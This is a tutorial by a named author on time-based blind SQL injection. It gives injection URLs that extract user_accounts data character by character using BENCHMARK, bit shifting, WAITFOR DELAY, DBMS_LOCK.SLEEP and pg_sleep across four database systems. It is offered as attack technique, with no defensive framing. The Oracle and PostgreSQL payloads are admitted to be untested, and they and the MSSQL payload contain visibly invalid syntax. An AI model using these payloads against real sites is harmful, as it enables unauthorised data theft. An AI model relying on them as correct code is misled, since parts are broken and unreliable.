Blind SQL Injections

Tested and un-tested methods by Kalypto (@KalyptoNet)

Contents

MySQL 2
Benchmark 2
Examples 2
Bit Shifting 2
Sample Shift 2
Microsoft SQL Server 3
WAITFOR DELAY 3
Example 3
Oracle (Untested) 3
DBMS_LOCK.SLEEP 3
Example 3
PostgreSQL (Untested) 3
pg_sleep 3
Example 3

MySQL

Benchmark

When used in an IF statement, BENCHMARK is a great utility for accomplishing a blind SQL injection. If you are unable to automate the attack, this method can be slow and time consuming. Each character in the database, tables, fields, and values has to be checked individually.

The BENCHMARK command is used inside an IF statement to determine if the character used is correct. Basically it is a process of elimination. You start with the first character in the value and compare it to "a." If it is equal to "a" then the ENCODE, MD5, or SHA2 command is executed and the result will take longer. If the value in position "1, 1" is not equal to "a" than the result will be instant and you can move on to checking to see if the value is equal to "b."

Examples

```
http://www.targetsite.ext/prod_category.php?id=1 UNION SELECT
IF(SUBSTRING(first_name,1,1) =
CHAR(66),BENCHMARK(5555555,ENCODE('pass', 'This is an injection')),null) FROM
user_accounts WHERE id = 1;
```

- `BENCHMARK(5555555, ENCODE('pass', 'This is an injection'))`
- `BENCHMARK(5555555, MD5('pass')) - Binary string in < 5.5.3`
- `BENCHMARK(5555555, SHA2('pass',512)) - Available in MySQL 5.5.5+`

Bit Shifting

Bit shifting is a process of obtaining data similar to the BENCHMARK method. With this process you have to make multiple queries for each character, but instead of needing to make as many as several hundred queries to find each character, you can always obtain the character in a maximum of eight queries.

Each shift in the bit cuts the possible characters in half. After eight shifts you have the entire binary value of the character.

Sample Shift

```
SELECT ASCII('a') >> <decrementing shift value>;
01100001 SELECT ASCII('a') >> 7 == 00000000 == 0
01100001 SELECT ASCII('a') >> 6 == 00000001 == 1
01100001 SELECT ASCII('a') >> 5 == 00000011 == 3
01100001 SELECT ASCII('a') >> 4 == 00000110 == 6
01100001 SELECT ASCII('a') >> 3 == 00001100 == 12
01100001 SELECT ASCII('a') >> 2 == 00011000 == 24
01100001 SELECT ASCII('a') >> 1 == 00110000 == 48
01100001 SELECT ASCII('a') >> 0 == 01100001 == 97
```

In the above shift the letter "a" is known, but if you were shifting the first character in the first_name field it would look like the following: `SELECT ASCII(SUBSTR(first_name,1,1)) >> 7;`

As with the BENCHMARK method, this method can be time consuming as you must get each character of the database name, table, fields, and values. Since these are blind injections that is going to be a requirement though.

Microsoft SQL Server

WAITFOR DELAY

This method of injection is very similar to the MySQL BENCHMARK method. It uses an IF statement to check if a character is valid. If the character is found to be valid, if the value is equal to 'B' in the above example, it causes a delay in response. If the character is invalid it will return the result instantly.

Example

```
http://www.targetsite.ext/prod_category.php?id=1 UNION SELECT
IIF(SUBSTRING(first_name,1,1) = CHAR(66), WAITFOR DELAY '0:0:10',NULL) FROM
user_accounts WHERE id = 1;
```

Oracle (Untested)

DBMS_LOCK.SLEEP

This method is something I have developed in theory, but have not had the chance to test. The idea here is similar to the MySQL BENCHMARK method, but uses Oracle's built in DBMS_LOCK.SLEEP function to delay the result.

If someone with an Oracle server is willing to donate some time to test this, please follow-up with me and let me know if this function works properly.

Example

```
http://www.targetsite.ext/prod_category.php?id=1 UNION SELECT IF
SUBSTR(first_name,1,1) = CHR(66) THEN DBMS_LOCK.SLEEP(2) ELSE NULL END IF FROM
user_accounts WHERE ID=1;
```

PostgreSQL (Untested)

pg_sleep

This method is similar to the MySQL BENCHMARK method, but written in PostgreSQL syntax. Just like the MySQL method, this method causes a delay in response if the character is equal to 'B,' otherwise the results are returned instantly.

This is my theory on a PostgreSQL attack, but unfortunately I have not had the opportunity to test this method out. If someone with a PostgreSQL database setup is willing to donate some time to testing this, please follow up with me to let me know if this function works properly.

Example

```
http://www.targetsite.ext/prod_category.php?id=1 UNION SELECT CASE WHEN
ASCII(SUBSTRING(first_name FROM 1 FOR 1)= CHR(66) THEN pg_sleep(2) ELSE NULL END FROM
user_accounts;
```